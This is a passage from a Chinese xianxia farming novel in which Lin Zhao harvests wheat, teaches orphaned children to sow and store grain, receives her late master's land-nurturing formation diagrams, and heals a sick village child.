“北地各城的反应比预想的好。”陈砚说,“很多人其实早就对仙门高高在上、索取无度不满了。现在知道修仙不是唯一的路,反而松了口气。”
李慕云展开地图:“我们还整理了各地适合凡人生存的产业——采矿、农耕、手工业、贸易。不依赖灵气,不依赖仙门,凡人也能活得很好。”
“不过,”陈砚犹豫了一下,“还是有些人放不下修仙梦。尤其是一些年轻人,总觉得不修仙就低人一等。”
林照想了想,说:“那就让他们知道——道,不止在仙山。认真种地是道,诚实做工是道,善待他人也是道。修行不是非得腾云驾雾,能把眼前的日子过好,就是最大的修行。”
下午,收割继续。
林照一边割麦,一边尝试着用守土令与大地更深层次地沟通。令牌赋予她的“权柄”很微妙——不是掌控,是感知和共鸣。她能感觉到每一株麦子的生长周期,能感知到地下蚯蚓的蠕动,能察觉到远处山坡上野兔的踪迹。
最神奇的是,当她静下心来,还能隐约“听见”大地本身的脉动——那是一种缓慢、厚重、充满生命力的节奏,像巨人的心跳。
“你在做什么?”沈不言注意到她的异常。
林照睁开眼:“我在听大地说话。”
“说什么?”
“说……”林照侧耳倾听,“说麦子该收了,说雨水三天后会来,说东边山坡的土质适合种豆子,说西边河滩的石头下有温泉。”
沈不言惊讶:“你能感知到这些?”
“守土令给的‘权柄’。”林照说,“不是法术,更像……一种本能。就像老农看天色就知道会不会下雨,我只是能‘看’得更深、更广。”
凌虚子若有所思:“这或许就是‘地道’的雏形。传说上古有地祇,能通晓一方水土的所有变化,能调风雨、顺四时。你的守土令,可能与此有关。”
林照不太明白什么“地道”“地祇”,但她确实感觉到,自己与这片土地的联系越来越紧密。不是占有,而是融入——她成了土地的一部分,土地也成了她的一部分。
日落时分,麦田全部收完。
三亩
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的麦子,堆成了七座高高的麦垛,在夕阳下泛着金红色的光。孩子们在麦垛间捉迷藏,笑声传得很远。阿茸绕着麦垛转圈,时不时“咩”一声,像是在点数。
林照站在田埂上,看着这一切,心中涌起前所未有的充实感。
这就是她守护的。
不是多么宏大的东西,就是这一亩三分地,就是这几间屋子,就是这些人。平凡,但珍贵。
晚饭后,众人聚在院子里乘凉。
炎烁用“人间火”点了几个小火球,悬在半空照明。青禾泡了草药茶,分给大家。凌虚子拿出玄霄阁的茶叶,沏了一壶灵茶——虽然灵力稀薄,但香气清雅。
孩子们缠着林照讲仙山的故事。
林照想了想,没有讲天梯的凶险,没有讲血煞阵的恐怖,而是讲了仙山上的云——那里的云会变颜色,早晨是淡金,中午是银白,傍晚是霞紫;讲了天梯上的光——不是刺眼的强光,是温润的、像月光一样的光;讲了那些选择问道途的人——他们放弃一切,只为追寻一个渺茫的可能。
“他们傻不傻?”豆苗问。
林照摸摸他的头:“不傻。每个人都有自己的选择。他们选了他们的路,我们选了我们的。只要不后悔,就都是好路。”
豆苗问:“那照姐,你后悔吗?”
林照看向夜空。星辰初现,银河隐约可见。仙山消失了,但星空还在,人间还在。
“不后悔。”她轻声说,“这里就是我的云外天。”
夜深了,孩子们被赶去睡觉。大人们还坐在院子里,有一搭没一搭地聊天。
陈砚和李慕云商量着明天回李家矿行的事——矿上还有很多事要处理,北地的产业需要重新规划。他们邀请林照有空去做客,林照答应了。
凌虚子说想去北地游历一段时间,看看凡人是如何生活的。炎烁和青禾决定暂时留在晒谷观——炎烁说要研究怎么用“人间火”做出更好吃的饭菜,青禾则对晒谷观周边的草药很感兴趣。
沈不言没说话,只是静静地喝茶。
“沈不言,你以后有什么打算?”林照问。
沈不言放下茶杯:“先养好伤。然后……可能四处走走。我的剑道需要历练。”他看向林照,“如果你不介意,我想偶尔回来看看。晒谷观……挺适合静心。”
“随时欢迎。”林照笑了。
又坐了一会儿,大家各自回房休息。
林照躺在床上,却睡不着。她将心神沉入丹田,守土令安静地悬浮着,散发着温润的黄光。令牌表面的麦穗浮雕仿佛活了过来,在意识中轻轻摇曳。
她尝试着将意识顺着令牌与大地连接,向更远处延伸。
先是晒谷观周边——麦田、苜蓿坡、老井、菜地,一切安好。
然后是鬼哭峡方向——血煞阵的残余气息已经消散,但地火脉的裂痕还需要很长时间才能愈合。她“看”到,一些耐热的植物已经开始在裂痕边缘生长,生命总是能找到出路。
再往北,李家矿行的矿洞井然有序,矿工们已经休息,只有几个守夜的火把在闪烁。
更北,北地各城的灯火如繁星,凡人们的呼吸均匀而平稳。
就在她准备收回意识时,忽然感觉到一丝异样——
不是危险,不是威胁,是一种……呼唤?
很微弱,很遥远,从大地深处传来,带着古老而沧桑的气息。那呼唤不是语言,是一种纯粹的情绪:期待,还有……悲伤?
林照想仔细聆听,但呼唤很快消失了,像一滴水落入大海,再无痕迹。
她睁开眼,心中泛起疑惑。
守土令赋予她的感知能力,似乎还有更多秘密。大地深处,究竟藏着什么?
窗外传来阿茸的“咩”声,很轻,像是在说梦话。
林照笑了,暂时压下疑惑。
明天还要晒麦子、打麦子、磨面粉,然后蒸馒头、擀面条。日子要一天天过,饭要一口口吃。
至于大地深处的秘密,等麦子收完再说吧。
她闭上眼睛,在麦香的包围中,沉沉睡去。
这一夜,晒谷观无人做梦。
只有麦垛在月光下静静呼吸,只有阿茸在苜蓿坡上轻轻翻身,只有守土令在林照丹田里,随着她的呼吸,与大地同频脉动。
人间烟火,岁月静好。
而远方的星空下,那条银光流转的问道途上,两个孤独的身影正在跋涉。更遥远的、已经关闭的天门之外,那些“飞升者”正以神魂为契,永镇虚无。
每个人都有自己的路。
每个人都要为自己的选择负责。
林照知道,她的路就在这里,在这片土地上,在这些平凡而珍贵的人间烟火里。
这就够了。
窗外,启明星升起来了。
天,快亮了。
42. 播种
霜降那天,晒谷观下了第一场霜。
晨起时,瓦楞上结了一层薄薄的白,院子里的老井冒着袅袅的白气。林照推开柴扉,呼出的气在冷空气里凝成一小团雾。阿茸从窝里探出头,金角上沾着几粒霜花,它抖了抖身子,霜花簌簌落下。
“该播种了。”林照轻声说。
冬小麦要在霜降前后下种,赶在上冻前扎下根,来年开春才能早早返青。这是老谷头教她的,说麦子跟人一样,根扎得深,才扛得住风雨。
几个孩子已经穿戴整齐等在院子里。李虎扛着锄头,豆苗挎着种子袋,其余五个孩子也各自拿着农具——都是按他们想学的本事配的:想学打铁的黑娃拿着把小锤子,想学木匠的四毛拿着刨子,想学纺织的五娃带着纺锤。虽然现在还用不上,但林照说,工具在手,心就定。
“今天教你们第一课。”林照从豆苗手里接过种子袋,打开,里面是今年留的最饱满的麦种,一粒粒金黄圆润,“怎么选种。”
她在院中的石桌上铺开一块粗布,倒出麦种,教孩子们辨认:“看,这种特别鼓的,是壮种,种下去苗旺;这种稍微瘪一点的,是常种,也能长,但收成差些;这种黑的、破的,是坏种,要挑出来,不能种。”
几个脑袋凑在一起,八只手在麦种堆里翻捡。阳光渐渐升高,霜化了,院子里响起孩子们清脆的童音:
“这个鼓!”
“这个有点黑……”
“豆苗,你拿错了,那是石子!”
林照看着,眼里有笑。她想起自己小时候,老谷头也是这样教她,手把手,一粒粒地挑。那时候她觉得枯燥,现在才明白,这是土地教给她的第一课:认真。
对土地认真,土地才会对你认真。
选种选了一上午。最后挑出三斤壮种,五斤常种,坏种只有一把——今年的麦子长得好。
午后,下地。
三亩麦田已经翻耕过,泥土在秋阳下散发着湿润的气息。林照示范怎么开垄——锄头要稳,力道要匀,沟不能太深也不能太浅。太深了苗出不来,太浅了根扎不牢。
“就像做人。”她一边挥锄一边说,“要有根,但不能埋得太深,忘了抬头看天;要抬头,但不能飘着,忘了脚踩实地。”
孩子们似懂非懂,但都认真看着。
豆苗学得最快,第三垄就开得像模像样了。豆苗力气小,开得浅,林照手把手教他调整力道。黑娃、四毛这些男孩子皮实,闷头干,不一会儿就满头大汗。
播种是最需要耐心的活儿。林照教他们“捻种”——拇指和食指捻起三五粒种子,均匀撒进沟里,不能多不能少。多了苗太密,争养分;少了苗太稀,浪费地。
豆苗蹲在田埂上,小手捻着种子,一粒一粒,认真得像在数珍珠。阳光照在他专注的小脸上,鼻尖沁出细密的汗珠。
“照姐,”他忽然问,“种子在土里,会冷吗?”
林照也蹲下身,抓起一把土:“你摸摸。”
豆苗伸手摸,土是温的。
“大地有地气,冬天再冷,地底下也是暖的。”林照轻声说,“种子在土里,就像娃娃在娘怀里,不冷,安心睡觉,等春天来了,就醒了。”
豆苗似懂非懂地点头,继续捻种。
播种到一半时,天边传来了熟悉的剑啸声。
沈不言回来了。
他不是一个人来的,身后还跟着三个年轻人——两男一女,都穿着云游剑派的青衣,背负长剑,风尘仆仆,但眼神清亮。
“林照。”沈不言落地,脸上带着笑,“师父听说你在教孩子,让我带几个师弟师妹来帮忙——顺便,让他们看看什么叫‘人间剑道’。”
三个年轻人上前行礼。为首的男子二十出头,剑眉星目,叫陆明;另一个男子稍矮,圆脸带笑,叫周通;女子十七八岁,英气勃勃,叫秦溪。
“见过林师叔。”三人齐声道。
林照连忙摆手:“别叫师叔,叫林师姐就行。”
沈不言笑道:“该叫师叔。你虽不是云游剑派弟子,但论‘道’,师父说你在他之上。叫你一声师叔,不亏。”
林照无奈,只好由他们。
三个年轻人都是第一次下山,看什么都新鲜。陆明对李虎开的垄沟很感兴趣,蹲下来仔细看:“这沟开得……有剑意。”
李虎挠头:“我就随便开的……”
“不是随便。”陆明认真道,“你看这沟的走向,顺应地势,不硬拗,这是‘顺势’;深浅均匀,这是‘守中’;间距一致,这是‘有序’。剑道修行,求的不就是顺势、守中、有序吗?”
他说得一本正经,李虎听得云里雾里。
周通对播种更感兴趣,跟着豆苗学捻种。他手大,一捻就是十几粒,撒得乱七八糟。豆苗急了:“周哥哥,不能这么多!”
“那该多少?”
“三到五粒。”豆苗认真地教,“照姐姐说,就像一家人——太挤了吵架,太散了冷清,三五口正好。”
周通若有所思:“所以剑招也不能太密,不能太疏,要留余地……”
秦溪最务实,直接抢过李虎的锄头:“我帮你开垄!”
她运起剑气,一锄下去,沟开得笔直如线,深达一尺。林照赶紧拦住:“太深了太深了!苗出不来的!”
秦溪脸一红:“那……那该多深?”
“三寸。”林照比划,“就像剑,出鞘三分,留七分力。全出了,就没了回旋余地。”
秦溪恍然大悟。
三个云游剑派的弟子,就这样跟着几个孩子,在麦田里学起了种地。沈不言在一旁看着,眼中含笑。
日落时分,三亩地全部种完。
新翻的泥土在夕阳下泛着深褐色的光泽,一条条垄沟整齐排列,像大地的琴弦。孩子们累坏了,坐在田埂上喝水,小脸都红扑扑的。
陆明忽然说:“林师叔,我能……试试用剑意给麦种祝福吗?”
林照一愣:“怎么祝福?”
陆明走到田边,拔出剑。他没有挥砍,只是将剑尖轻轻点在一垄沟的起点,闭目凝神。渐渐地,剑身泛起淡淡的青光,那光顺着垄沟缓缓流淌,像水,像风,流过之处,泥土仿佛更松软了些。
“这是‘春风剑意’。”沈不言低声解释,“陆明师弟最擅长的。不是攻击,是滋养——能让草木长得更好些。”
青光流完整条垄沟,消散。陆明收剑,脸色有些苍白,显然消耗不小。
周通和秦溪也各展所能。周通的剑意温厚如土,能让土壤保持湿润;秦溪的剑意凛冽如霜,据说能杀灭土里过冬的虫卵。
三个年轻人做完这些,都累得坐倒在地,但眼睛亮晶晶的。
“原来剑还能这么用。”秦溪喃喃道。
沈不言看向林照:“师父说,剑道不在杀人,在‘用’。用在战场上,是凶器;用在田地里,就是农具。重要的是持剑的人,想用它做什么。”
林照深深点头。
那天晚上,晒谷观格外热闹。林照做了满满一桌菜——白菜炖豆腐、萝卜烧肉、蒸南瓜,还有一盆金灿灿的玉米面窝头。三个云游剑派的弟子吃得狼吞虎咽,说比山上的灵食好吃多了。
饭后,孩子们围着陆明他们,要听江湖故事。
陆明讲他们如何在西域大漠追杀沙盗,周通讲他们如何在南海帮助渔民抵抗风暴,秦溪讲她如何女扮男装混进土匪窝里救人。故事精彩,孩子们听得眼睛都不眨。
豆苗忽然问:“陆哥哥,你们杀过人吗?”
院子里瞬间安静了。
陆明沉默片刻,点头:“杀过。”
“为什么杀?”
“因为……”陆明看着豆苗清澈的眼睛,忽然不知道该怎么解释。那些“除暴安良”“替天行道”的大道理,在这个十一岁少年面前,显得苍白无力。
林照轻声接话:“因为他们不让人好好活着。就像田里的杂草,不除掉,麦子就长不好。”
豆苗似懂非懂:“那……能不能不杀,把他们变成好人?”
周通苦笑:“有些人,变不了了。”
“为什么变不了?”
这个问题,没人能回答。
最后还是沈不言说:“所以我们要变强。强到不需要杀人,就能让坏人不敢做坏事;强到能让想变好的人,有机会变好。”
孩子们似懂非懂,但都记住了这句话。
夜深了,孩子们睡去。三个云游弟子在厢房打地铺,很快响起均匀的呼吸声。
林照和沈不言坐在院子的老槐树下。
“他们明天就走?”林照问。
“嗯。”沈不言点头,“云游云游,不能久留。但他们说,以后每年播种时节,都会来帮忙——这是他们自己要求的。”
林照笑了:“你这师兄当得好,师弟师妹都愿意来种地。”
“不是我的功劳。”沈不言望着星空,“是他们自己看到了——剑握在手里,不一定非要指向敌人。指向土地,也能长出东西来。”
沉默片刻,他忽然说:“林照,我想在晒谷观住一段时间。”
林照一怔。
“不是长久。”沈不言解释,“师父说,我的剑道到了瓶颈,需要‘沉淀’。我想来你这儿,跟你学种地,跟孩子们学认真。或许……能找到突破的契机。”
林照看着他认真的眼神,点头:“好。东厢房还空着一间,你住。”
沈不言笑了,那笑容在月光下很干净。
沈不言住下的第三天,晒谷观来了位意外的客人。
是个老和尚。
老和尚很老,眉毛胡子都白了,穿着一件洗得发白的灰色僧衣,赤着脚,背着一个破旧的褡裢。他来时正是晌午,太阳很大,他额头上却一滴汗也没有。
林照在院子里晒药,见老和尚站在观门口,连忙迎上去:“大师从哪来?要化缘吗?”
老和尚双手合十:“阿弥陀佛。贫僧从西域金刚寺来,途经此地,见此处地气祥和,特来讨碗水喝。”
林照请他进院,倒了碗凉茶。老和尚接过,不急着喝,先
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环顾四周,目光在七个孩子身上停留片刻,又在沈不言身上顿了顿,最后落在林照脸上。
“女施主,”他缓缓开口,“你身上有‘守土令’的气息。”
林照心中一震,表面不动声色:“大师说什么?”
老和尚笑了,从褡裢里掏出一物——是枚佛珠,木质,已经盘得油亮。他将佛珠放在石桌上,佛珠竟自己滚动起来,滚向林照,停在她手边。
“守土令遇同源之物,会有感应。”老和尚说,“贫僧的师父,三百年前也是守土人。”
林照愣住了。
老和尚慢慢喝茶,讲了个故事。
三百年前,西域大旱,赤地千里。有个游方僧人路过,见百姓易子而食,心生悲悯,便在沙漠中结庐而居,日日诵经祈雨。三年后,天降甘霖,沙漠边缘竟长出了一片绿洲。那僧人便留在绿洲,教人耕种,引水灌溉,渐渐聚成一个村落。
后来仙山现世,天梯开启,僧人也去了。但他没有选飞升道,也没有选问道途,选了回家路——回到那片绿洲,继续教人种树、打井、活命。
“那就是贫僧的师父。”老和尚说,“他临终前将守土令传给了我,说‘此令不传佛门,传有缘人’。我找了三十年,今天找到了。”
林照看着手边的佛珠,又看看老和尚:“大师的意思是……”
“守土令该给你。”老和尚从怀中取出一物——是枚和陈砚他们一样的木腰牌,但更旧,边角都磨圆了,上面刻的不是“云”字,是个“土”字。
“这是我师父的腰牌,也是守土令的‘钥匙’。”老和尚将腰牌递给林照,“守土令不止能感应地脉,还能……调动地脉。但需要钥匙开启更深层的权能。”
林照接过腰牌。入手温润,木质已经玉化,透着岁月的厚重感。
“为什么要给我?”她问。
“因为你在做我师父当年做的事。”老和尚微笑,“守一片土,养一方人,让平凡的生命能有尊严地活着。这就是守土人的道。”
他站起身,喝完最后一口茶:“茶很好,多谢女施主。贫僧该走了。”
“大师要去哪?”
“继续云游。”老和尚背起褡裢,“去看看这人间,还有多少像你这样的人,在默默守着脚下的土地。”
他赤着脚走出观门,夕阳将他的影子拉得很长。
林照握着那枚木腰牌,久久未动。
沈不言走到她身边:“看来,守土人不止你一个。”
“嗯。”林照点头,“老谷头是,那个僧人是,或许……还有很多我们不知道的人。”
她忽然觉得肩上的担子轻了些——不是真的轻了,是知道有人同行的那种踏实。
老和尚走后的第七天,晒谷观迎来了第一场冬雨。
雨不大,淅淅沥沥的,从早下到晚。林照带着孩子们在廊下看雨,教他们听雨声辨雨势——“小雨润土,中雨洗尘,大雨伤苗。就像人说话,轻声细语能入心,大吼大叫只能吓人。”
豆苗听得认真,忽然问:“照姐,雨是从哪来的?”
这个问题把林照问住了。
她想说是云,但云从哪来?想说是水汽蒸腾,但水汽从哪来?最后只能说:“雨是从很远的地方来的,翻山越岭,就为了落到我们这块田里,让麦子喝饱水。”
豆苗似懂非懂,但很满意这个答案。
雨停后,林照去田里看麦种。泥土湿润松软,垄沟里已经能看到极细的白色根须——麦种开始发芽了。
她蹲下身,轻轻拨开一点土,看见嫩黄的芽尖正在努力向上顶。很柔弱,但很坚定。
就像那些孩子。
就像这片土地上,所有在艰难中依然向上生长的生命。
林照将土轻轻盖回去,轻声说:“慢慢长,不急。冬天还长,春天总会来的。”
她站起身,望向远方。
群山如黛,天空如洗。晒谷观的炊烟在雨后的清新空气里笔直上升,像在告诉这片天地:这里有人家,这里有生活,这里有生生不息的希望。
而更远的地方,陈砚应该在青州的商行里打算盘,李慕云应该在北地的矿洞里举着油灯,青禾应该在某个善堂里给人看病,炎烁应该在赤焰谷教师弟师妹控火,陆明他们应该在某个不知名的小镇行侠仗义……
每个人都走在自己的路上。
但他们的根,都扎在这片土地上。
林照忽然明白了守土令真正的意义——不是要你守着一亩三分地不动,是要你无论走到哪里,都记得自己从哪里来,要回哪里去。
记得有一片土地,等你回去播种、收割、生活。
记得有一些人,等你回去相见、相守、相护。
这就够了。
她走回观里,孩子们正在跟沈不言学认字。
声音稚嫩,但坚定。
林照站在廊下听着,眼里有温热的液体涌上来。
她抬头看天。
云散了,露出一角湛蓝。
明天,该是个晴天。
43. 冬藏
立冬那日,晒谷观后山的溪水结了层薄冰。
林照晨起挑水,木桶磕在冰面上,发出清脆的“喀嚓”声。她舀起一瓢水,水面飘着细碎的冰碴,在晨光里晶莹剔透。阿茸凑过来想喝,被冰碴激得打了个哆嗦,甩甩头退开了。
“今天开始,要藏了。”林照对跟在身后的孩子们说。
冬藏,是老谷头教她的重要一课——秋天收的粮食要妥善储藏,地里的麦苗要盖草防冻,连人也要“藏”:少外出,多静养,积蓄精力,等待来年春天。
几个孩子已经能帮不少忙。李虎带着黑娃和四毛去地窖整理储藏,二壮领着五娃在院里晾晒干菜,最小的豆苗也踮着脚帮忙递东西。
沈不言在院子里练剑。
他的剑法变了。变得更慢,很沉,每一剑都像在泥土里犁过,带着大地的厚重感。剑锋划过空气,竟隐隐带起土腥气。
林照看了一会儿,轻声说:“你的剑里有土了。”
沈不言收剑,额头上沁出细汗:“在你这儿住了半个月,天天看你们翻土、播种、挑水,剑不自觉就沉下来了。”
“沉下来不好吗?”
“不是不好。”沈不言擦擦汗,“是以前不懂——剑为什么要轻?为什么要快?现在明白了,剑轻,是心浮;剑快,是意躁。心浮意躁,剑就永远是凶器。心沉意定,剑才能是……工具。”
他说“工具”两个字时,眼神很亮。
林照笑了:“老谷头说过,这世上最好的工具,是知道自己为什么而用的工具。镰刀知道自己是用来割麦的,所以不羡慕斧头能砍树;锄头知道自己是用来翻土的,所以不嫉妒铁锹能挖沟。”
沈不言若有所思,继续练剑。这一次,剑更慢了。
地窖在晒谷观后院的坡下,是早年老谷头带着林照挖的。不大,但很深,冬暖夏凉,最适合储藏粮食。
李虎举着油灯走在最前面,黑娃和四毛抬着麻袋跟在后面。灯光在土壁上跳跃,映出三个少年拉长的影子。
“小心脚下。”李虎提醒,“上次下了雨,有地方可能滑。”
地窖分三进。最外面是菜窖,堆着白菜、萝卜、土豆;中间是粮仓,今年收的九百斤麦子分装在二十几个陶缸里,缸口用黄泥封着;最里面是杂物间,放着农具、种子和些不常用的家什。
“虎哥,这些麦子够吃多久?”黑娃问。
李虎算了算:“七个人,一天差不多五斤面,一个月一百五十斤,九百斤……能吃半年。加上菜窖里的菜,撑到明年麦收没问题。”
四毛松了口气:“那就好。我娘说,家里有粮,心里不慌。”
三人把新收的玉米和豆子也搬进来,分类放好。李虎在每个陶缸上都贴了张红纸,用炭笔写上入库日期和斤两——这是跟陈砚学的,说做生意要账目清楚,过日子也一样。
整理完粮仓,李虎举着油灯走到最里面的杂物间。这里堆放的多是老谷头留下的东西:几件旧农具,几卷发黄的书籍,还有几个落满灰尘的木箱。
“虎哥,你看这个。”三娃从墙角拖出一个小木箱,箱子没锁,一掀就开。
里面是一叠图纸。
不是普通图纸,是阵法图。纸张已经泛黄,但墨迹清晰,线条工整,标注着密密麻麻的符文和注解。最上面一张,画的正是晒谷观和周围三亩地的地形,图上用朱砂标出了十几个点,旁边小字写着“地脉节点”。
李虎心跳加速。他想起自己说过想学阵法,林照说会教他,但还没开始。这些图纸……难道是老谷头留下的?
他小心翼翼地把图纸摊开,借着油灯细看。
图纸不止一张。有“小五行聚灵阵”,标注说可以聚集微量灵气滋养作物;有“地气温养阵”,能让土壤保持肥力;甚至还有一套“守土连环阵”,由十几个小阵组合而成,一旦启动,可护住方圆三里……
图纸最后,夹着一封信。
信纸更黄,字迹苍劲:
“照丫头,若你看到这封信,说明你已经通过了天梯第三问,选择了回家路。师父为你骄傲。
这些阵法,是师父年轻时游历四方,从各处搜集、改良而来。它们不是修仙界那些争强斗狠的杀阵,是‘生阵’——只为养护土地、滋养作物、守护家园而设。
你既为守土人,当知守护二字,不在拒敌于外,在让家园生生不息。这些阵法,便是生生不息的工具。
最后一句:阵法再精妙,终是死物。真正的守土阵,在你心里。心有牵挂,阵自有灵。
师谷长青留笔”
李虎捧着信,手在抖。
黑娃和四毛凑过来看,虽然认不全字,但能看懂大概意思。黑娃小声说:“虎哥,这是师傅留给照姐的……”
“我知道。”李虎深吸一口气,把信和图纸仔细收好,“先放回去。等林照有空,我再告诉她。”
他忽然想起信里那句“心有牵挂,阵自有灵”,若有所思。
院子里,豆苗正在跟二壮学认草药。
晒谷观后山新开的半亩药田,是青禾走前带着他们种的。种了金银花、薄荷、车前草、蒲公英,都是常见草药,但打理得好,也能卖些钱补贴家用。
“这是薄荷。”二壮指着一丛翠绿的植株,“叶子揉碎了闻,凉凉的,能治头疼。”
豆苗凑近闻了闻,眼睛一亮:“真的!像吃了冰。”
五娃在旁边纺线。他学纺织才半个月,纺出的线还粗细不均,但他很认真,小脸绷得紧紧的,手指捻着棉絮,纺车吱呀吱呀转。
林照走过来,看了眼五娃纺的线,笑道:“不急。纺线如修行,心静了,手就稳了。”
五娃点头,放慢速度,果然线匀了些。
“照姐,”豆苗忽然问,“草药能救人,布能做衣裳,麦子能吃饱肚子——那修行能做什么?”
这个问题,把林照问住了。
修行能做什么?
飞天遁地?移山填海?长生不老?
可这些,真的比一棵草药、一尺布、一碗饭更重要吗?
她想了想,蹲下身,从药田里拔起一株车前草:“你看这草,长在路边,不起眼,但它的叶子能治咳嗽,种子能利尿。它修行吗?不修。但它有用。”
又指向五娃纺的线:“这线,就是普通的棉花纺的,不能飞,不能变,但能织成布,做成衣裳,让人冬天不冷。它修行吗?也不修。”
最后她看向麦田:“麦子更不修行。它就长在那儿,春种秋收,变成馒头、面条、饼,让人活下去。”
她看着豆苗清澈的眼睛:“所以豆苗,修行不是为了变得多厉害,是为了让你想做的事,能做得更好。想救人,就学医;想织布,就学纺;想种地,就学农。把这些事做到极致,做到能让更多人好好活着——这就是修行。”
豆苗似懂非懂,但重重点头:“我明白了。我要把草药认全,以后村里谁生病了,我就能帮忙。”
二壮也说:“我要学看病,像青禾姐姐那样。”
五娃小声说:“我要纺出最暖和的线,给弟弟妹妹做棉袄。”
林照笑了,摸摸三个孩子的头:“好,都学。”
午后,晒谷观来了访客。
不是修士,是山下王家村的王村长。老爷子六十多了,腰有些弯,但精神矍铄,手里提着半篮子鸡蛋。
“林姑娘,”王村长把篮子递上,“今年村里收成不错,大家凑了点鸡蛋,给孩子们补补身子。”
林照连忙推辞:“这怎么行,您留着卖钱……”
“卖什么钱!”王村长佝偻着背,眼睛却亮,“要不是你去年教我们轮作法,又让紫阳宗的仙长来看了地,今年哪来这么好的收成?这点鸡蛋,是该给的。”
轮作法是林照从老谷头的书里看来的——麦子和豆子轮着种,豆子能肥地,来年麦子就长得好。她试了有效,就教给了山下几个村的村民。
“那就多谢村长了。”林照接过鸡蛋,请王村长进屋坐。
王村长坐下,喝了口茶,犹豫着开口:“林姑娘,其实今天来,还有件事……想请你帮忙。”
“您说。”
“村东头老赵家的孙子,”王村长叹气,“生下来就体弱,三天两头生病。前几天又着了凉,烧得说胡话。请了郎中,吃了药,烧退了,但人一直没精神,不吃不喝。他奶奶急得直哭,说怕是……怕是留不住了。”
林照心中一紧:“孩子多大了?”
“刚满三岁。”
三岁的孩子……
她起身:“我去看看。”
“照姐,我也去。”豆苗跟上来,“我能帮忙认草药。”
林照本想让他留在观里,但看着豆苗认真的眼神,点点头:“好,带上药篓。”
王家村离晒谷观五里路,不算远。林照背着药篓,牵着豆苗,跟着王村长往山下走。沈不言不放心,也跟了来。
老赵家是村里最穷的几户之一。三间土坯房,墙皮剥落,院里堆着柴火,一只瘦骨嶙峋的老母鸡在刨食。
赵奶奶在灶前熬药,见王村长带人来了,连忙迎出来。老太太眼睛红肿,声音沙哑:“村长,这是……”
“这是晒谷观的林姑娘,懂医术,来看看孩子。”王村长介绍。
赵奶奶扑通就要跪,被林照赶紧扶住:“使不得,奶奶快起来。孩子在哪?”
里屋炕上,躺着个小男孩。瘦得皮包骨,小脸蜡黄,闭着眼,呼吸微弱。林照伸手探他额头,不烫,但冰凉。
她轻轻翻开孩子眼皮,瞳孔有些散。又把了脉,脉象细弱得几乎摸不到。
“几天没吃东西了?”她问。
赵奶奶抹泪:“五天了。喂什么吐什么,水都喂不进去。”
林照沉吟片刻,从药篓里取出几味草药——都是温补的:黄芪、党参、红枣,还有一小截老山参,是青禾走前留给她的,说危急时用。
“豆苗,去帮忙烧火。”她吩咐,“沈先生,麻烦你去后院井里打桶水,要刚打上来的,带地气的那种。”
沈不言点头去了。
林照把草药洗净,放进药罐,又让赵奶奶拿来半碗小米。她把小米也放进药罐,加满水,文火慢熬。
“林姑娘,这……”赵奶奶不解。
“孩子不是病,是‘脱’了。”林照轻声解释,“先天不足,后天失养,阳气快散尽了。光吃药不行,得用米气把药性托住,一点点往身体里送。”
她一边说,一边握起孩子的小手,将一丝极温和的灵气渡过去——不是治疗,是“引路”,像在黑暗里点一盏小灯,指引迷路的孩子回家。
豆苗蹲在灶前,小心地控制着火候。火不能大,大了药性就燥;不能小,小了药性出不来。他盯着跳
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动的火苗,小脸被映得通红。
沈不言打来了水。林照用新打的井水给孩子擦脸、擦手脚,井水刚出地,带着地底的温润,能安抚躁动的神魂。
药熬了两个时辰。
熬到第三遍时,药汤已经浓得发黑,米也熬成了糜。林照把药汤滤出来,晾到温热,用小勺一点点喂给孩子。
第一勺,孩子喉咙动了动,咽下去了。
赵奶奶眼泪一下子涌出来。
第二勺,第三勺……小半碗药汤喂完,孩子脸上有了点血色。
林照又用剩下的药渣熬了盆药汤,给孩子泡脚。温水没过小腿,药气透过皮肤渗入,孩子哼了一声,眼皮动了动。
“有反应了!”王村长惊喜。
林照没停,继续给孩子按摩手脚。她的手很稳,力道均匀,从指尖到掌心,一点点把僵硬的肌肉揉开。
半个时辰后,孩子睁开了眼睛。
虽然还很虚弱,但那双眼睛有了神。
“奶奶……”他小声喊。
赵奶奶抱住孙子,放声大哭。
林照松了口气,起身时眼前一黑,差点摔倒。沈不言扶住她:“你消耗太大了。”
“没事。”林照摆摆手,对赵奶奶说,“孩子暂时没事了,但底子太虚,得慢慢养。我回去配几服药,您按时给他吃。平时多吃小米粥、山药、红枣,别沾荤腥。”
她从怀里掏出个小布袋,里面是些铜钱:“这些钱您拿着,给孩子买点吃的。等开春了,让孩子多晒太阳,多在土里玩——地气最养人。”
赵奶奶又要跪,被林照拦住。
回去的路上,豆苗一直没说话。
快到家时,他忽然问:“照姐,那个弟弟会死吗?”
林照想了想:“现在不会了。但以后能不能活得长久,得看他自己的命,也得看有没有人好好养他。”
“那……我们能养他吗?”
林照停下脚步,看着豆苗:“晒谷观已经有七个孩子了。”
“可是……”豆苗咬着嘴唇,“那个弟弟没有爹娘,只有奶奶。奶奶老了,养不动了。”
林照心中一痛。
她蹲下身,看着豆苗:“豆苗,你想帮他,是好事。但你要知道,帮人不是一时兴起,是长久的责任。就像种麦子——你播了种,就得浇水、施肥、除草,一直到收割。如果中间放弃了,麦子就死了,之前的努力都白费。”
豆苗认真点头:“我不放弃。我会帮忙浇水、拔草,我会把我的饭分他一半。”
林照摸摸她的头,没说话。
回到晒谷观,天已经黑了。
孩子们都睡下了,只有李虎还等在院里。见林照回来,他迎上来:“林照,地窖里发现了些东西。”
他拿出那叠图纸和信。
林照在油灯下看完,沉默了很久。
“林照?”李虎小声问。
“师父……”林照轻声说,“他什么都想到了。”
她把图纸一张张摊开,仔细看。这些阵法确实精妙,而且都围绕着同一个核心:生生不息。
小五行聚灵阵不是掠夺式地抽取灵气,而是像织网一样,把空气中游离的灵气慢慢聚拢,滋养一方水土。
地气温养阵更是巧妙——利用地脉自身的热量循环,让土壤始终保持活性,连冬天都不完全冻结。
最复杂的守土连环阵,由十二个小阵组成,环环相扣。一旦启动,能调节局部气候,驱散病虫害,甚至能在一定程度上抵御天灾。但维持阵法需要守土人的心神牵引,就像母亲时刻关注着孩子的呼吸。
“你想学吗?”林照问李虎。
李虎重重点头:“想!”
“那从明天开始,我教你。”林照收起图纸,“但你要记住——阵法是工具,人才是根本。就像今天王家村那个孩子,药能治病,但真正救他的,是有人愿意为他熬药、喂药、守着他。”
李虎认真记下。
那一夜,林照没睡。
她坐在灯下,把老谷头的图纸一张张抄录下来。抄到“守土连环阵”时,她忽然明白了师父那句话:“心有牵挂,阵自有灵。”
牵挂不是负担,是阵法的“魂”。
